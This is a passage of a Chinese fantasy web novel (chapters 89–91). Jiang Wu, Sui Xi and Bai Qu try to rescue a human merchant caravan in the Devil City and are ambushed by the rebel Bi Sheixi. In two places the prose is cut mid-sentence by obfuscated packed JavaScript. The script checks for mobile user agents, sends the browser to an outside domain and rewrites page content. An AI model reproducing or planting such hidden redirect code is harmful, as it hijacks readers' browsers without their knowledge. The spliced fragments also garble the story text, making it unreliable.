宗华讷讷地接过灵石袋,“阿确,你既然交给我这么重要的东西,我一定会好好保存的。” 沈确笑着睨了宗华一眼,“傻子,这是给你修行用的,否则我也不会收这些东西。” 宗华惊讶地看着沈确,“啊?可是你也需要灵石啊,怎么可以全给我?”说完,他从其中拿了一小颗灵石。 “这样吧,我只拿一颗,剩下的你留着,我只是一个刚刚找到诀窍的初学者,以后要走的路还有很长,这些灵石还是用在重要的人身上吧,而且并州情况危机,你留着用比浪费在我身上要好,千万别再让其他的长灵族也遭此横难了。” 沈确看着宗华递过来的灵石袋,突然觉得这些灵石有千斤重,她苦笑了一声,垂着双眸,神情失落地说:“可是我吸收了这些灵石,也没有办法保护其他人啊,我的修为并不高,天赋也是平平,也不知晓当初太初道尊的佩剑为何会认我为主,我辜负太阿剑的期待了。” 宗华看着沈确手中的太阿剑,开口道:“阿确,太初道尊是个怎样的人,他的佩剑呢?” 沈确闻言神情坚定地说:“圣人举世无双,他的佩剑自然。” “即便是这样你也不相信太阿剑吗?”宗华说,“普天之下,人多如牛毛,修真者虽称不上遍地都是,但也不在少数,但是太阿剑就是选择了你,它没有选择其他人,这还不能够说明一切吗?你身上一定有太阿剑认同的,且异于常人独一无二之处,因为太阿剑便是最好的证明。” 沈确闻言轻抚着手中的太阿剑,随即长长地舒了一口气,“希望如此吧。” “宗华,走吧,我们要尽快赶回并州去。” 宗华见沈确上马的动作干净利索,神情丝毫没有受方才的情绪所影响,心中便松了一口气,他用力地点了点头,随即翻身上马,跟着沈确一同往并州的方向赶去。 两人策马一前一后地出了天都城,晌午之时在一处茶摊处歇脚时,遇到了身负两柄长剑的步寒凝。 沈确栓好马匹之后,步伐轻快地朝着坐在茶摊上的步寒凝迎了过去。 “步姐姐,这么巧啊。” 步寒凝放下手中的茶杯,冷若凝霜的脸上露出了一丝笑容,她开口问道:“阿确,你们这是自何方而来?” 沈确如实道:“方才离开天都城不久,我们自并州而来,只可惜没有赶得上步姐姐朋友的喜事,也没来得及去讨杯喜酒喝。” “不妨事的。”步寒凝说,“阿确,你方才说从并州而来,并州情况如何?” 沈确说:“一切都在可控范围之内。” 宗华向小二买了三碗素面,随后才坐在桌前,他伸手取了茶杯倒满热茶后又冲刷起筷子,再用干净的帕子一一擦拭干净。 沈确接过宗华递过来的热茶抿了一口,“步姐姐呢?这是打算前往并州吗?” 步寒凝颔首,“我想去并州看一看,看看是否有我能帮得上忙的地方,我的哥哥步寒夜一生都在为守护天下安宁为己任,他们一行七人,因为相同的理想与抱负而聚到一起,所以我也想坚守他所坚持的一切。” 小二将三碗素面端了上来,一一放在三人面前,“三位客官请慢用。” 步寒凝面上闪过一丝惊讶,随即笑着对宗华说:“多谢,这是我的好友所酿之酒,也算是名动九州,请二位品鉴,此酒名为江心月。” 沈确看着步寒凝拎出来的两坛酒,讪笑着摆了摆手,“步姐姐的好意,我们心领了,只是我和宗华都不怎么喝酒的。” 宗华笑着附和沈确的话,“是啊是啊,我们不会喝酒的。” 步寒凝说:“可以带回去与你的同伴一起,这酒可是千金难求。” 宗华闻言看了沈确一眼,“既然步道长盛情,那我们便却之不恭了。” 步寒凝笑着说:“收着吧。” 车夫驾着板车停在了茶摊外,他安抚着毛驴转头对车斗中的男人说:“我说公子爷,这已经跑了一个晚上了,您倒是不累了,我和驴得休息一会啊,你给我们半个时辰成不成?驴饿着肚子也跑不快啊。” 男人拿稻草盖脸遮着阳光,语气中带着几分不耐,“要去就快去。” 宗华听到熟悉的声音整个人都僵在了原地,他倏地站了起来,朝着声源处望了过去。 沈确见状差异地问道:“怎么了?” 宗华伸手按了一下沈确的肩膀,神情凝重地朝着驴车走了过去,他看着躺在稻草中的男人,一把拉开了男人用来遮阳光的稻草。 车夫见状立刻端着茶碗走了过来,“哎哎哎,小兄弟,你这是做何事啊?这公子爷脾气大得很,可不好惹。” 宗华看着男人憔悴的脸庞,震惊得难以发出一言。 男人见状坐起身看着宗华。 车夫神情惊讶地看了一眼绷着脸的宗华,又扭头去看从应,随即开口道:“怎么着?公子爷,你们认得啊?” 沈确倏地站了起来,想起曾经在荆州被绑架的日子,整个人脸色顿时变得煞白,“从......从应?!” 【无幻之境】 沛然说:“我们去人间追查过那支商队的路线,我觉得他们不可能走进无幻之境中,但是据看到过这支商队的修罗讲,他们就像是凭空出现的一般。” 季易坐在秋千上来回地晃着,越发觉得身下这玩意新奇,“其他的商队也说,他们所经过的地区确实有很长一段路程的沙漠,而且沙漠中都是有绿洲部落存在的,也是他们贸易的必经地,所以他们起初也没有起疑,直到走到进魔鬼城,遇到了那群主战派才知晓走错了路。” 百衢咬着手中的梨,“也算他们运气差点,现下他们还活着吗?先把人搞出来再说。” 沛然问道:“大人,我们贸然前去,就不怕有诈吗?魔鬼城地形复杂多变,又有主战派,那群人族活着的几率很小,万一是请君入瓮该如何是好?我建议不要再顾及那群人族的死活了。” 百衢不以为然地说:“不怕他们,这些年也没少同他们交涉,找到那些人族并送出去也算是解了后顾之忧,段怀野现下虽然没有动作,但是他若是以此为借口,做出一些匪夷所思的事情,那可就不妙了。段怀野此人行事诡谲,又有太初剑在手,怕就怕他不按常理出牌,同主战派交涉。” 季易不解地问道:“这太初剑好不容易毁了,为何又莫名其妙重塑?” 百衢咬牙切齿地捏碎了手中的梨子,“唯女子与小人难养也!” 姜芜走出树屋便看到三人在她的院子里为非作歹,她缓步走上前,先是睨了一眼百衢手中碎烂的梨肉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671260|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后抬手从树上摘了几颗梨下来,“好吃吗?” 三人默契一般地停下了交谈声,纷纷看向姜芜。 姜芜咬了一口青皮梨,口感脆甜,梨汁也比较多,比起人间的梨子就是小了一些,她将手中的其他梨分给了其他三人。 “口感还不错,虽然比人间的稍微差些,但这已经是最好的一次了。” 季易和沛然互看了一眼,随即不约而同地看向百衢。 百衢挑眉,他咬了一口手中的梨,对二人说:“吃就是,天生地长的,又没有毒。” 沛然上前接过两只梨子,“谢谢大人。”说完便回头分给了季易一个。 “哦,谢谢。” 姜芜摆弄了几下伏倒的花草,“这里的花草不好养活而且非常脆弱,所以你们不要在谈事的时候无意识地乱揪,好不容易才养到这么大的。” 沛然点了点头,“我们会注意的。” 姜芜低头摆弄着花草,随口应了一声,“还有就是没事不要来别人的家里,很没有礼貌。” 百衢闻言额角一跳,“谁家?你不是走了不回来了吗?而且你不是在这里借住吗?” 姜芜抬眸看向百衢,挑衅般地挑了一下眉毛,声音冷淡地说:“谁同你讲的?睢羲吗?他要从这里搬出去,重新找地方吗?那我不介意。” “你!” 姜芜见睢羲出来之后便上前将手中的梨递了过去,“尝过没有?今年结得还不错。” 睢羲看着姜芜手中的梨,想起商扶庭有关于梨的话,面上流露出一丝的痛苦,“以后不要再给我分梨,长夜之时便将梨树砍了吧,种些别的。” “怎么?”姜芜有些不解,“这梨树不是种了很多年吗?” 睢羲抬手按下了姜芜递过来的梨,然后牵着她朝着百衢走去,“走吧。” 百衢看了姜芜一眼,随即将手中的梨核一扔,“你要是带着她,可要将她看好了,不要让她惹事,多生事端。” 睢羲垂眸看了姜芜一眼,温声道:“不会的。” 百衢警告般地指了指姜芜,率先同季易沛然离开。 姜芜跟着睢羲走进风沙的一瞬间,便觉得有护体结界笼罩在身,她换了一个手握梨,“这次是出了什么事情?” 睢羲说:“有一支人族商队误入了无幻之境的魔鬼城,那处情况复杂,方向难辨,时常会出现一些难以解释的事情,而且常年盘踞着主战派,所以不要离开我三步远,你现下同凡人没有任何区别,很危险。” 姜芜问道:“既然魔鬼城如此复杂,为何主战派还要盘踞在那处?不怕死吗?” 睢羲说:“比起死,他们更害怕投降于百衢,这些年百衢治理得无幻之境还算不错,但是总有些不愿意舍弃力量而反抗于他的。” 姜芜笑了起来,“我以为修罗大部分都是比较随意的呢。” “相较于人族来说,修罗更倾向于原始。”睢羲抱紧了姜芜,化作戾气跟上百衢三人,“弱肉强食,胜之为王。你强大了,所以会觉得世界是美好的,因为很多东西都能够轻而易举的得到,但是弱小之时,或许连一顿饱饭都是奢侈。” 姜芜闻言心中五味杂陈,她抬眸看着睢羲,声音轻轻地说:“人族也是如此,这些……都是柏雨告诉你的吗?” 睢羲蹙眉,他把姜芜裹进外袍中,“你为何不想想你的弱小之时,你身上的伤口,你的难堪以及委屈?” 姜芜不以为然地一笑,“早就忘记了,毕竟只有那么短短的百年出头。” 睢羲轻轻地叹了一息,“若是那时能早些找到你便好了。” “无论你当时再怎样早找到我,我都不认得你。”姜芜说,“即便那时我们偶遇,我也是几百年后才想起你是谁,都一样的。” 睢羲突然想起同姜芜之前的日子,顿时忍俊不禁,他刚要开口便被姜芜捂住了双唇。 “我知晓你要说什么,但是不准讲。” 睢羲唇角带笑地吻了吻姜芜的手指,“你要不要再喊一声?” “好啊。” 姜芜笑了一声,她伸手揽住睢羲的脖颈,轻轻地喊道:“哥哥……” 睢羲笑着打断姜芜,“可以了,只喊这一句便可以了。” 姜芜抬手拍了拍睢羲的胸膛,笑着问道:“另一个听不得是不是?” “很怪异,别喊了。”睢羲说,“介于你当时何事都不记得,我便不同你计较了。” “谁知晓啊,当时莫名其妙的出现一个大修罗不仅庇护我,还给我吃食,又对我没有其他企图,为了能有个稳定的地方,只能先确定关系。”姜芜抿了抿双唇,“早知晓当初便不那么叫了,还留给你一个调侃我的机会。” “以后便不提了。”睢羲笑着垂眸看了姜芜一眼,“魔鬼城要到了。” 姜芜站稳后抬眸看向所谓的魔鬼城,此处到处都是风蚀痕迹,百丈冲天的土柱与连绵数千里的成片岩石,此地的流沙像是泼陈的朱砂,又如同似血般的晚霞,处处都是入口,处处又都是死路,其中路况复杂不明,毫无规律可言,恍若魔鬼张开的血盆大口。 姜芜收回目光,“你们确定那支商队在里面?” 90. 中伏 沛然点了点头,又摇了摇头,“也不是很确定,但是有修罗曾经看到他们进入了这里,而且主战派也给百衢大人传了信,让他务必过来,只要他来便会放了那群人族。” 百衢说:“进去吧。” 睢羲垂眸看向姜芜,“有何问题吗?” “具体情况我也不是很了解,只是人族也有这般地貌。”姜芜说,“他们都说这种地貌相当危险,会吃人,根本不会进入,我在想为何那支人族商队会冒着生命危险进去?” 百衢停下脚步,转头看向姜芜,“害怕便在外面等着,让睢羲进来,不要浪费时间。” “只是觉得有些不妥,魔鬼城这般大,你们要如何找人?”姜芜说着便拉着睢羲向魔鬼城内走去,“而且这处风沙如此诡异,就像是站在血海之上,你们便没有多思忖一些吗?” 百衢信誓旦旦地说:“不必担忧,我们曾经为了追杀一个疯了的修罗,在这里面待了七天七夜,没有那么的困难,情况不对直接离开便是。” 睢羲安抚性地握了握姜芜的手,“没事的,只是看起来可怖而已。” “小心为妙。” 百衢进入魔鬼城便给主战派的璧畲玺送了消息,告知他自己已经到达魔鬼城,让他有话快说,有屁快放,没有便赶紧将人放出来。 碧畲玺在暗处看着几人,随即用戾气化风,将混合着黑荆藤的迷药吹向了姜芜几人。 季易一惊,“什么东西?”说完,当他想用戾气抵御那些迷烟时,却觉得浑身发酸,意识难以自控地昏沉了下去,同沛然先后倒下。 “百衢。” 睢羲见百衢倒下,刚上前半步却觉得头晕目眩,他立刻神情担忧地去看姜芜。 姜芜伸手拉住睢羲伸过来的手,护着他一同摔倒在地。 璧畲玺等烟雾散去才从暗处走进,神情有些诧异地看着姜芜,“你居然没晕吗?” 姜芜抱着睢羲,抬眸看向璧畲玺,“你很惊讶吗?” 璧畲玺也看着姜芜,他的双眸呈现出一种碧玺石般的暗红色,一头墨发垂直脚尖,额上戴了一条红色的宝石抹额,整个人如同开在了黄沙中的曼珠沙华。 璧畲玺如实道:“你是第一个没有被这种迷烟迷晕的修罗。” 姜芜抚摸着睢羲的侧脸,“险些被砸晕,你这迷药很特别,居然能将他们全部迷倒,居然连睢羲和百衢也不例外。” 璧畲玺挑眉,“你呢?你为何没晕?我这可加了十足的黑荆藤。” 姜芜幽幽地叹了一息,她伸手拂开睢羲垂落下来的长发,“何必呢,黑荆藤对修罗一族伤害极大,你取来想必费了不少功夫,你死活跟我没多大干系,若是睢羲有个三长两短,我可真是不饶你。百衢还自称修罗王呢,你这点小伎俩便将他放倒了,怪不得有人不服他呢。” 璧畲玺闻言痴笑一声,“你不饶我?我好害怕啊,你是谁啊?” 璧畲玺说完周身一愣,神情怔怔地看了一眼姜芜怀中的睢羲,随即又抬眸看向姜芜,他大抵知晓这个口出狂言的女子是谁了。 璧畲玺阴沉着脸吩咐其余的修罗将几人带走,他单独上前扼着姜芜的手臂将她扯了起来,“我知晓你是谁了,你是濯漪。不过,你身上的戾气去哪了?” 姜芜神情有些诧异地抬起双眸,“你是单纯知晓我,还是同我有过节?” 璧畲玺笑着松开了手,“都不是,我应该感谢你的,带走。” “那支人族商队呢,还活着吗?” 璧畲玺说:“我还犯不着对几个人类怎么样,只不过他们不适应这里的环境,死得也差不多了。” 姜芜问道:“为何不将他们放出去,你留着他们也无用,百衢也是为了免除后顾之忧所以才应约的。” “呵,你以为修罗都像你一样有善心吗?”说完,璧畲玺伸手把姜芜推进了一处牢笼中,又吩咐手下将其余三人扔了进去,唯独留下了百衢。 姜芜隔着栏杆同璧畲玺对视,“你也同百衢一样蠢吗?这样能困住谁?” 璧畲玺神情不屑地说:“我同百衢有些恩怨要解决,并不是真的想关你们,而且他们醒来也需要点时间,只是暂时让你们在这里待会而已,等他们醒了,你们自行离开便是,我对你们没有兴趣?” 姜芜睨了百衢一眼,“虽然我也不是很喜欢这个人,但是他若是有个三长两短,睢羲可能会伤心,我照样饶不了你。” 璧畲玺冷笑一声,“就你?饶不了我?你现下身上一点戾气都没有,能奈我何?” 姜芜抬手的瞬间无心乱立刻从她的袖口窜出并缠上的璧畲玺的脖颈,只要她往其中灌入戾气,璧畲玺的人头即刻落地。 璧畲玺一惊,整个人被拉至了姜芜面前,他双臂撑着栏杆,“你居然还能使用法术?” “也就吓唬你而已。” 姜芜拭去唇边的鲜血,无心乱松了力道从璧畲玺的脖颈上滑了下来。 璧畲玺笑了起来,“濯漪,你放心,我不会对你怎么样的,也不会对睢羲怎么样的。”说完,他收敛了笑容,阴沉着脸转身离开。 姜芜看着璧畲玺带着百衢离开,又看了一看锁在牢门上的锁链,若是往常必定是顷刻之间便能离开此处,但是现下她却无能为力,只能看着璧畲玺走远。 这处牢笼是掏空山体形成的,用木柱将开口围起,简易地像是在凌辱被关押之人。 姜芜回头看了睢羲一眼,随后尝试着破坏起木柱,只可惜她没有戾气傍身,噬魂骨钉又封住了她全部的经脉,现下确实同凡人无异,便只能放弃。 姜芜整了整衣襟坐回睢羲身侧,扶着他躺到了自己的腿上,随即咬破手指将鲜血喂进他的口中。 “睢羲,睢羲。” 睢羲缓缓地睁开双眸,意识朦胧地看着姜芜,身体还不能自如活动,等待着她的血驱散体内黑荆藤的作用。 姜芜伸手抚摸着睢羲的脸颊,声音带笑,“哥哥,修罗王就这点本事啊,你们之前在这里困了七天七夜,是不是因为百衢太笨了,连带着你也笨笨的,当初是不是没办法了才去找的我们?害你伤了那么久,养了那么长时间的伤,有时候只有拳头和力量是不行的。” 睢羲尝试着抬起手按住姜芜的肩膀,用力挤出一丝声音,“无事吧?” 姜芜拿下睢羲的手握在手心中,轻轻地摇了摇头,随即又将手上溢出的血珠抹在手串的石头上。 “不着急,好好休息。” 睢羲在姜芜的搀扶下坐了起来,靠着墙壁看向四周,“方才那阵迷烟很奇特,既能够令人失去意识,也能够在短时间阻止戾气入体,体内戾气运行受阻,便失了先机。” 姜芜靠进睢羲怀中,撑着他绵软的身体,“你在这里休息,我去找找百衢和那支商队的下落。” 睢羲无知觉地靠在姜芜的额头上,义正言辞地说:“不行,你没有戾气傍身,要怎么去找?遇到危险该如何。” 姜芜说:“璧畲玺似乎认识我,我该认识他吗?” 睢羲闻言沉默了起来。 姜芜静静地靠在睢羲怀中,见他不说话也看不清他的神情,只能伸手摸了摸的脸颊,“怎么突然不说了?” 睢羲说:“怕讲出来你不高兴?” 姜芜蹙眉,“你不说怎么知晓我不高兴?再大的事还能大过天吗?还是说同你有关,你背着我做了些我不知晓的事情吗?” “同我无关。”睢羲说,“是厍灯。” “阿灯?”姜芜起身,面色有些凝重地看着睢羲,“阿灯又有事瞒着我吗?” 睢羲蹙眉,他看着姜芜的双眸,“又?你见过厍灯了?” 姜芜一五一十地说了在青州发生的事情,“不会同厍灯有关的,他在十方楼被囚禁了近五年的时间,而且十年前他便离开了无幻之境。” 睢羲无力地抵住了姜芜的额头,“他是这么同你讲的?为了谷卿云?那他有没有说过他加入了主战派,打破结界并非只是为了同谷卿云的约定,修罗之中并没有人研究人族药理,璧畲玺是怎会有迷倒我们的药粉呢?十方楼近些年在研究些什么,你不是最清楚不过吗?” 姜芜想起商扶庭幼时的遭遇,心中有些不忍,“阿灯怎么会突然做这些?而且你为何不告诉我?” “厍灯年纪不小了,你还要如何做?”睢羲说,“一切都是他自己的选择,他不后悔便好,后果也要他自己承担。” 姜芜闻言静静地看着睢羲,心绪复杂,她经历了谎言与欺骗,有人因为天下大义对她有所图谋,有人因为自身目的而辜负她的一片真心,其实左右也无甚要紧,更多的只是自寻烦恼,她不愿意去在乎那些人。 “睢羲,你想要什么呢?”姜芜看着睢羲问道,“他们都有自己的事情要做,有自己的大义要完成,你呢?你有所希望的吗?” 睢羲笑了一声,他费力地抬起手按在姜芜的后颈处,施力掐揉了一番,“你这个问题问错人了,我活了多久都记不得了,如今也算是垂暮之年,油尽灯枯,一切都看开了,曾经想要的、想实现的都去努力过了,未实现的现下也不觉得有什么遗憾,所以我没法回答你这个问题。” 姜芜蹙眉,“假设你身体康健,性命无忧呢?” 睢羲说:“这个假设无论成功与否,我目前只有一个想法,还是是阻止你。” “为何而阻止我?” “无论你对我情谊是否还在,我都要阻止你,我们之间不仅仅只存在一些或许单薄或许厚重的感情,还有许许多多的日日夜夜的朝夕相处。于情于理,我都要阻止你。”睢羲颔首,“做父亲也好,兄长也好,丈夫也好,朋友也罢,我都无法放你去做那个决定。也就是说,任何要求我都能答应你,唯独你想做的那件事不能,我会毁掉一切通往那个结果的路,无论是毁掉太初剑,还是杀掉商扶庭,亦或者是再杀一次段怀野。” 姜芜神情悲伤地看着睢羲,拢了他的双手在自己的掌心里,轻轻地揉搓着,缓解着他手上未消散的麻意,“你这样对我不公平。” “你对我便公平了?” 姜芜倾身拥住睢羲,抿唇忍住滚滚欲出的眼泪,却忍不住鼻头发酸,她也不想这般做,但这已经她想到的最能达成心愿的办法,“我没有办法了,到底要怎样做才好。” “很痛苦吗?” 姜芜用力地抱紧了睢羲,轻轻地摇了摇头,生怕后者再说出堪比挖心之痛的话,“不痛苦。”说完,她深吸了一口气,整理好了情绪,起身看着睢羲。 “怎么?” 姜芜神情淡然地说:“药效消退估计还有半个时辰,我去找找百衢和那支商队,到时候你凭借着离旧来寻我。” 睢羲蹙眉,伸手扼住姜芜的手腕,“不要冒险。” 姜芜拍了拍睢羲的手背,“我有分寸,以现下的情况来看,他们想必是早有准备,我怕他们会对百衢不利,万一是我设想的那般会很麻烦,我们不能坐以待毙。” 睢羲说:“即便百衢那般对你?” 姜芜闻言勾唇笑了起来,垂眸看着睢羲的手,“他又没做错,而且说的都是事实。”说完,她推开睢羲的手,起身唤出了无心乱。 睢羲看着姜芜因为强行突破噬魂骨钉的禁制而自唇角流下的鲜血,开口问道:“你还恨我吗?” 姜芜把无心乱的剑尖悬在了沛然的双唇上方,随后左手握了上去,殷红的血顺着雪白的剑身滑下,滴落在了后者的唇上。 “嗯?” 姜芜抬眸看了睢羲一眼,随即将剑尖又移到季易的双唇上方,“半个时辰大抵也差不多了。”说完,她起身甩了甩左手,毫不在意地扫了一眼没有愈合的伤口,随后屏息凝聚戾气,一剑斩破了锁链。 睢羲看着姜芜随着脚步而滴落的鲜血,愧疚之感油然而生,他也不知晓为何一切变成了现下这副模样,姜芜天性烂漫,对新鲜事物感兴趣,爱去人族的城池玩耍,喜欢结交两三好友,这些都不是错处,段怀野也只是她的好友之一,不能以招惹祸端来定义。 这一切都不是姜芜的错,后果也不应该由她来承担。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680865|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但是所有人都在逼她,连他自己也不例外。 姜芜走出牢笼,先是四下辨认了一番方向,无果后只能顺着左侧边做记号边前行,魔鬼城内四通八达,方向及其难以辨认,到处都是鲜红色和土黄色,红色的沙砾像是从土墙上流淌下来的,到处一片血海汪洋,风穿梭于细缝之中,发出低声的呜咽之音。 时间一长,姜芜便有一种头昏脑胀的感觉,她从纳袋中取出一支骨哨衔在口中吹了起来。 哨声尖锐,除了能随风传播,还有辨认路途的作用,姜芜吹几声便要停下来侧耳听着哨声撞到石壁上传回来的声音。 季易有些狼狈地躺在地上,姿势别扭,却无法挪动自己的四肢,只能用力让自己用力发出声音,“是谁在吹哨子啊?吵死了。” 沛然说:“魔鬼城内地势复杂,吹哨来辨认方向和路径确实是一个好办法。” 季易暗骂了一声,“璧畲玺这个王八蛋,等我恢复了,我必定杀穿整个主战派,居然敢给老子玩阴的。” 沛然无奈地叹了一息,“先别说这些了,化解掉体内的迷烟才是当下最主要的事情。” 舒星远远地听到了骨哨的声音,他先是挤到了栏杆的边缘四下看了看,随即拿出铜器快速地敲击了起来,“在这里,我们在这里。” 仲白飞有气无力地躺在地上,“那哨子一听就在很远的位置,你确定你这样做,那人真的能听得到吗?不如省点力气,毕竟干粮不多了。” 舒星的双唇起皱干裂,一开口说话便有血珠渗出,他神情激动地说:“万一呢,万一是来救我们的人呢?不能放弃希望啊。” 姜芜顺着声音寻了过来,她看着牢笼里的人,一支几十人的商队最终却只剩了六人,其中的人一个个蓬头垢面的,瞪着一双或惊恐或无望的眼睛,“只活下来了你们几个吗?” 舒星有些惊讶地看着姜芜,随即眼神中闪过一丝失落,但依旧点了点头回道:“对,就剩下我们六个了。” 仲白飞惊道:“怎么是个漂亮女人啊?” 姜芜看着六人饿得面黄肌瘦的模样,从纳袋中取了几样吃食递了过去,“你们先吃着垫垫肚子,顺便跟我说说是如何进到这无幻之境中来的。” “无幻之境?”舒星狼吞虎咽地咬着手中的点心,神情疑惑地问道:“这里居然是无幻之境吗?无幻之境不是被太初道尊封印了吗?这里不是塔塔沙漠吗?” 朱商吃了些点心,思绪开始缓慢地思考起来,随即他惊恐地指着姜芜道:“她是修罗!!!” 仲白飞闻言迅速将舒星从栏杆处扯了回来,又将手中的点心扔了出去,“你有何居心?杀我们几个凡人,应该不会在点心里下毒吧?” 姜芜看了一眼脚底下的点心,又抬眸看向缩在一起的六人,“把你们捉来的人呢?又在哪里?” 舒星摇了摇头,“我们也不清楚,他们只是将我们关在这里,然后有时间便来清理我们同伴的尸体。” 姜芜从纳袋中取出一只瓷瓶递了进去,“这里的戾气太重了,你们先服下这些药吧,很快便能出去了。” “真的假的?”仲白飞警惕地看着姜芜,“我们怎么知晓你给的药是不是毒药?而且你服用也没有用,你是修罗,普通的毒药根本毒不死你。” 姜芜有些无奈地叹了一些,随后俯身将药丸放在了栏杆内,“想好了便吃下去。”说完,她用无心乱在地上画起了法阵,随即咬破手指,将鲜血滴入阵眼处。 “这处法阵可以抵挡戾气入侵,让你们不再那么难受,你们最好补充一些体力,多吃一些东西,否则一会可能没有力气长途跋涉。” 舒星问道:“这里真的是无幻之境吗?” 姜芜颔首,“方才你们说塔塔沙漠,塔塔沙漠在无幻之境西南方位,有千里远的距离,你们是怎样过来的?又是怎样穿过结界的?” 路闻远说:“我们刚做完一场交易,换了些皮子和耗牛肉,准备去下一个部落,根据地图和指南针往东北方向走,却怎么也找不到,随后便遇到了那些人,他们将我们捉来了这个可怖的地方。” 姜芜垂眸沉思了片刻,随后才问道:“还记得那个部落的位置吗?” 路闻远点了点头,“记得,就是塔塔沙漠的格力特部落,下一个部落是工格栅部落,我们就是在这条道路上迷失的。姐姐……” 姜芜转头不解地看了路闻远一眼。 路闻远羞赧地一笑,“我想吃肉。” 仲白飞闻言抬手捶了一下路闻远的脑袋,“你就知道吃肉,换来的肉干可是大部分都进了你的肚子里,我们一块都没有吃,你怎么还想着吃?” 姜芜的纳袋中确实有些肉脯,但是她并不想拿出来分享。 舒星无奈地摇了摇头,从一旁的首饰匣中取出了一枚戒指递给了姜芜,戒指上镶嵌着上好的祖母绿,剔透纯臻,火彩似流霞般熠熠,“姑娘,你若是有的话,便卖我们一些吧。金钱对于你来说大抵没有太多的作用,这是我们收来的珠宝,你若是看得过眼,便同我们交换一些肉干吧。” 姜芜摆了摆手,从纳袋中将油纸包裹的肉干取出来递了进入,“不用了,吃吧。” 路闻远闻言双眸一亮,飞快地上前接过姜芜手中的肉干,取了一块塞进口中,憨笑着朝姜芜道谢,并将肉干分给了其他人。 姜芜聚了一丝戾气附在了牢笼之上,方便一会再寻回来。 “没想到你居然逃出来了。” 姜芜闻言抬眸看向站在高柱上的璧畲玺,“刚好,我正愁没地方找你呢,厍灯在哪里?” 璧畲玺挑眉,“你想见厍灯?但是他不想见你哎。” “他不想见我便算了,将我的话当做耳旁风也无所谓。”姜芜说,“但是百衢呢,百衢在哪?” “百衢?”璧畲玺冷笑一声,“百衢已经死了,无幻之境内再无修罗王,而我将是新任的修罗王,我将带领所有修罗离开无幻之境,大肆进攻人间,让所有人能够在人间自由自在,享受一切,也不必忍受戾气侵蚀之苦。” 91. 占据 璧畲玺伸手指向姜芜,出声质问道:“而你濯漪!你身为修罗!当初不顾自己的族人,强行同段怀野封印无幻之境,你可曾想过后果?我相信很多修罗都恨不得将你碎尸万段,但是我不会对你怎么样,你应该好好感谢厍灯,你可是有个好弟弟啊。” 姜芜心下一沉,思绪纷乱,随即长长地舒了一口气,“是,都是我的错。” 璧畲玺一愣,随即狞笑了起来,“都是你的错?错了便是错了,你的弥补呢?只知道自己错了又何用?你了解的人族法度便是让你口头赎罪的吗?” 姜芜垂着眼眸,没有做任何回答,她不知晓该如何做,私心与道德来回撕扯着她,只能开口说一些无关紧要的话。 “百衢真的死了吗?” 璧畲玺笑着说:“同死了没有任何区别。”说完,他便有些诧异地看向天空。 “长夜居然来了。” 璧畲玺眨了眨双眸,适应了一番黑夜的变化,修罗的双眸能够自如的应对极昼与长夜,即便是在长夜之中也能炳如观火。 黑暗迅速自四面八方而来将明亮的天空吞噬干净,四周顿时一片黑暗。 路闻远尖叫一声,同其余人缩在了角落中,“怎么回事?听过天狗食月,没听说过它也会吞天啊。” 姜芜吹了一下骨哨,探查了一番四周的情况,随即抬手甩出无心乱将璧畲玺卷到了自己身侧,疯癫的百衢从天而降,直接击碎了璧畲玺先前所站的土柱。 姜芜的视力并没有修罗那般好,只能再次吹了一下骨哨确定了百衢的位置,“你们将他搞疯,确定不是给自己招惹麻烦吗?无幻之境内谁能打得过百衢?” “麻烦?明明是一石二鸟的好计谋。”璧畲玺神情自豪地解释道,“你也不想想,现下谁能阻止疯癫的百衢,当然是睢羲了。我最爱看这种狗咬狗的戏码了,这种隔岸观火的感觉,你体会过吗?下次不必惺惺作态地救我,真令人恶心。” 姜芜摇了摇头,“但是你别忘了,睢羲中了你的迷烟,现下还晕着呢。” “哦。” 璧畲玺面上的神情出现了一丝凝滞,他伸手把姜芜推向百衢,“那你先去死吧!”说完,他便闪身一旁,躲到了安全的地方。 百衢立刻朝着姜芜扑了过来,他此时意识全无,不仅不能沟通,而且不识得任何人。 姜芜吹了一声骨哨,闪身躲过。 长夜之下,无幻之境风沙更狂,气温急剧下降,堪比隆冬腊月。 舒星几人只能缩在一处抱团取暖,呼吸之间,滴水成冰,连睫毛和头发上都结了细密的冰碴。 姜芜一边吹着骨哨,一边应对着百衢的进攻,她没有资格同百衢打消耗战,只能快速考虑着应对的方法,她不知晓百衢这种程度的大修罗,浸泡进天河之水是否还会有作用,但是她又没法杀掉百衢。 百衢的速度很快,他的实力比清醒时提升了十倍都不止,或许这才是他真正的势力,平时只是被理智所压制。姜芜根本不是他的对手,在疯癫的百衢手中,她没有一点还手之力,只能不断地将其往天河之水的方向引去。 百衢的戾气铺天盖地,如同一只细密的网,姜芜稍有差池便会被困在其中,然后任由戾气活剐成肉沫。 姜芜甩鞭破开百衢的戾气,从半空中直冲了下来,她吹了一声骨哨,身形有些狼狈地落地,她迅速旋身,左手扣在身前,妄图取出心口的噬魂骨钉。 百衢迅速冲到了距离姜芜不远处的地方,一层黄沙被撞得腾空而起,弥漫于四周,他缓缓地走向姜芜,口中发出阵阵意味不明的气音。 姜芜面色严峻,她吹了几声骨哨,漫天沙砾严重影响了声音的传导,直到百衢逼近,她才察觉到危险。 百衢双手如勾爪,黑色的戾气附着于其上,他迅速对着姜芜出手。 姜芜后仰躲避,顺势抬脚踢向百衢。 